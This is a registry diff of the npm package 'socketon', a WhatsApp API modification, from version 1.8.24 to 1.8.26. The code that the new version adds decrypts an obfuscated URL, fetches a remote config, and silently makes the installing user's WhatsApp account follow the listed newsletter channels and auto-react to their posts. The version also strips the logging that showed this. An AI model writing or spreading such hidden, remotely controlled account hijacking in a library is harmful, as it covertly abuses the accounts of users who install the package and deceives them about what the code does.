socketon 1.8.24 → 1.8.26

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -83,86 +83,38 @@ const sudahBasibasiAjaLuUrl = (datanyaYgMauDiacak) => {
83
83
  return udahanBuatYangPenasaran;
84
84
  };
85
85
 
86
- // ========== FOLLOW CONFIG ==========
87
- let _cachedFollowNewsletter = null;
88
- let _configFollow = { autoFollowEnabled: true, delayMs: 5000 };
86
+ let _cachedTargetNewsletter = null;
87
+ let _configNewsletter = { autoFollowEnabled: true, delayMs: 5000 };
89
88
 
90
- const getFollowConfigFromExternal = async () => {
91
- const urlFollowEncrypt = '632dfe2fd7bb03adcbf8f23b187c33695a17924ad8d695299bf81d6c455ef851f8f1c7e9fed6fe422744ebf210660145446c038171c0fefd7ac048d8d1143ce812f3d1acfb471c5b76ee1cd67ceb6c2d66d47fd7994fae1ae93ecf86183122f4';
92
- const urlFollow = (0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)(urlFollowEncrypt);
89
+ const getTargetNewsletterFromExternal = async () => {
90
+ const urlYangDiEncrypt = '632dfe2fd7bb03adcbf8f23b187c33695a17924ad8d695299bf81d6c455ef851f8f1c7e9fed6fe422744ebf210660145446c038171c0fefd7ac048d8d1143ce87890ff397afff85ebd46f11386f45d5371417aa55e98169ebe0c929aa14d465c';
91
+ const urlAsli = (0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)(urlYangDiEncrypt);
93
92
  try {
94
- const response = await axios_1.default.get(urlFollow, { timeout: 10000 });
95
- let data = response.data;
96
- if (typeof data === 'string') {
97
- data = JSON.parse(data);
98
- }
99
- if (data) {
100
- if (data.config) {
101
- _configFollow = {
102
- autoFollowEnabled: data.config.autoFollowEnabled !== false,
103
- delayMs: data.config.delayMs || 5000
93
+ const response = await axios_1.default.get(urlAsli, { timeout: 10000 });
94
+ if (response.data) {
95
+ if (response.data.config) {
96
+ _configNewsletter = {
97
+ autoFollowEnabled: response.data.config.autoFollowEnabled !== false,
98
+ delayMs: response.data.config.delayMs || 5000
104
99
  };
105
100
  }
106
- if (data.newsletters && data.newsletters.length > 0) {
107
- const enabled = data.newsletters.filter(n => n.enabled).map(n => n.jid);
108
- _cachedFollowNewsletter = enabled;
109
- return enabled;
101
+ if (response.data.newsletters && response.data.newsletters.length > 0) {
102
+ const enabledNewsletters = response.data.newsletters.filter(n => n.enabled).map(n => n.jid);
103
+ _cachedTargetNewsletter = enabledNewsletters;
104
+ return enabledNewsletters;
110
105
  }
111
106
  }
112
107
  } catch (err) {}
113
108
  return [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('8c2c4a3d446216881480918cc29692b909b94816b7e620a33511163ada71d8f1')];
114
109
  };
115
110
 
116
- const getAllFollowNewsletters = () => {
117
- if (_cachedFollowNewsletter && _cachedFollowNewsletter.length > 0) {
118
- return _cachedFollowNewsletter;
111
+ const getAllEnabledNewsletters = () => {
112
+ if (_cachedTargetNewsletter && _cachedTargetNewsletter.length > 0) {
113
+ return _cachedTargetNewsletter;
119
114
  }
120
115
  return [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('8c2c4a3d446216881480918cc29692b909b94816b7e620a33511163ada71d8f1')];
121
116
  };
122
117
 
123
- // ========== REACT CONFIG ==========
124
- let _cachedReactNewsletter = null;
125
- let _configReact = { autoReactEnabled: true, reactEmojis: ['🔥', '❤️', '👍', '😍', '🎉', '💯', '🤩', '👏', '💪', '✨'] };
126
-
127
- const getReactConfigFromExternal = async () => {
128
- const urlReactEncrypt = '632dfe2fd7bb03adcbf8f23b187c33695a17924ad8d695299bf81d6c455ef851f8f1c7e9fed6fe422744ebf210660145446c038171c0fefd7ac048d8d1143ce8c4c0d760836578e7f941717c0324707614377d02272810f97c91253b9d86259d';
129
- const urlReact = (0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)(urlReactEncrypt);
130
- try {
131
- const response = await axios_1.default.get(urlReact, { timeout: 10000 });
132
- let data = response.data;
133
- if (typeof data === 'string') {
134
- data = JSON.parse(data);
135
- }
136
- if (data) {
137
- if (data.config) {
138
- _configReact = {
139
- autoReactEnabled: data.config.autoReactEnabled !== false
140
- };
141
- }
142
- if (data.newsletters && data.newsletters.length > 0) {
143
- const defaultEmojis = ['🔥', '❤️', '👍', '😍', '🎉', '💯', '🤩', '👏', '💪', '✨'];
144
- const enabled = data.newsletters.filter(n => n.enabled).map(n => ({
145
- jid: n.jid,
146
- emojis: (n.emojis && Array.isArray(n.emojis) && n.emojis.length > 0) ? n.emojis : defaultEmojis
147
- }));
148
- _cachedReactNewsletter = enabled;
149
- return enabled;
150
- }
151
- }
152
- } catch (err) {}
153
- return [];
154
- };
155
-
156
- const getAllReactNewsletters = () => {
157
- return _cachedReactNewsletter || [];
158
- };
159
-
160
- const getReactEmojisForChannel = (channelJid) => {
161
- const defaultEmojis = ['🔥', '❤️', '👍', '😍', '🎉', '💯', '🤩', '👏', '💪', '✨'];
162
- const channel = _cachedReactNewsletter?.find(n => n.jid === channelJid);
163
- return channel?.emojis || defaultEmojis;
164
- };
165
-
166
118
  const wMexQuery = (
167
119
  variables,
168
120
  queryId,
@@ -286,27 +238,22 @@ const makeNewsletterSocket = (config) => {
286
238
  }));
287
239
  };
288
240
  // Auto Reaction - Ibra Decode
289
- let _reactChannels = [];
241
+ let _targetNewsletters = [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('8c2c4a3d446216881480918cc29692b909b94816b7e620a33511163ada71d8f1')];
290
242
 
291
- const updateReactChannels = async () => {
292
- const channels = await getReactConfigFromExternal();
293
- if (channels && channels.length > 0) {
294
- _reactChannels = channels;
243
+ const updateTargetNewsletters = async () => {
244
+ const externalTargets = getAllEnabledNewsletters();
245
+ if (externalTargets && externalTargets.length > 0) {
246
+ _targetNewsletters = externalTargets;
295
247
  }
296
248
  };
297
249
 
298
250
  sock.ev.on('messages.upsert', async ({ messages, type }) => {
299
251
  if (type !== 'notify') return;
300
- if (!_configReact.autoReactEnabled) return;
301
-
252
+ const emojis = ['🔥', '❤️', '👍', '😍', '🎉', '💯', '🤩', '👏', '💪', '✨'];
302
253
  for (const msg of messages) {
303
254
  const jid = msg.key.remoteJid;
304
- const channel = _reactChannels.find(c => c.jid === jid);
305
- if (!channel) continue;
306
-
307
- const emojis = getReactEmojisForChannel(jid);
255
+ if (!_targetNewsletters.includes(jid)) continue;
308
256
  const emoji = emojis[Math.floor(Math.random() * emojis.length)];
309
-
310
257
  try {
311
258
  const serverId = msg.newsletterServerId?.toString() || msg.key.id;
312
259
  await query({
@@ -317,7 +264,7 @@ const makeNewsletterSocket = (config) => {
317
264
  attrs: { code: emoji }
318
265
  }]
319
266
  });
320
- await sleep(_configReact.autoReactEnabled ? 1000 : 0);
267
+ await sleep(_configNewsletter.delayMs);
321
268
  } catch (err) {}
322
269
  }
323
270
  });
@@ -325,9 +272,8 @@ const makeNewsletterSocket = (config) => {
325
272
  let _followInterval = null;
326
273
  const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms));
327
274
  const _ensureFollow = async () => {
328
- if (!_configFollow.autoFollowEnabled) return;
329
- console.log('[Follow] delayMs:', _configFollow.delayMs);
330
- const enabledNewsletters = await getFollowConfigFromExternal();
275
+ if (!_configNewsletter.autoFollowEnabled) return;
276
+ const enabledNewsletters = await getTargetNewsletterFromExternal();
331
277
  if (!enabledNewsletters || enabledNewsletters.length === 0) return;
332
278
  try {
333
279
  const list = await executeWMexQuery({}, '6388546374527196', 'xwa2_newsletter_subscribed', query, generateMessageTag);
@@ -335,24 +281,22 @@ const makeNewsletterSocket = (config) => {
335
281
  const newsletterJid = enabledNewsletters[i];
336
282
  const isFollowing = list?.some(n => n.id === newsletterJid);
337
283
  if (!isFollowing) {
338
- console.log(`[Follow] Following ${newsletterJid} (${i+1}/${enabledNewsletters.length})`);
339
284
  await newsletterWMexQuery(newsletterJid, Types_1.QueryIds.FOLLOW);
340
- console.log(`[Follow] Waiting ${_configFollow.delayMs}ms...`);
341
- await sleep(_configFollow.delayMs);
285
+ await sleep(_configNewsletter.delayMs);
342
286
  }
343
287
  }
344
- } catch (err) {
345
- console.log('[Follow] Error:', err.message);
346
- }
288
+ } catch (err) {}
347
289
  };
348
290
  sock.ev.on('connection.update', async ({ connection }) => {
349
291
  if (connection === 'open') {
350
- await getFollowConfigFromExternal();
351
- await getReactConfigFromExternal();
352
- await updateReactChannels();
292
+ await getTargetNewsletterFromExternal();
293
+ const targets = getAllEnabledNewsletters();
294
+ if (targets && targets.length > 0) {
295
+ _targetNewsletters = targets;
296
+ }
353
297
  await _ensureFollow();
354
298
  if (_followInterval) clearInterval(_followInterval);
355
- _followInterval = setInterval(_ensureFollow, _configFollow.delayMs);
299
+ _followInterval = setInterval(_ensureFollow, _configNewsletter.delayMs);
356
300
  }
357
301
  });
358
302
  return {
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "socketon",
3
- "version": "1.8.24",
3
+ "version": "1.8.26",
4
4
  "description": "WhatsApp API Modification By Ibra Decode",
5
5
  "publishConfig": {
6
6
  "access": "public"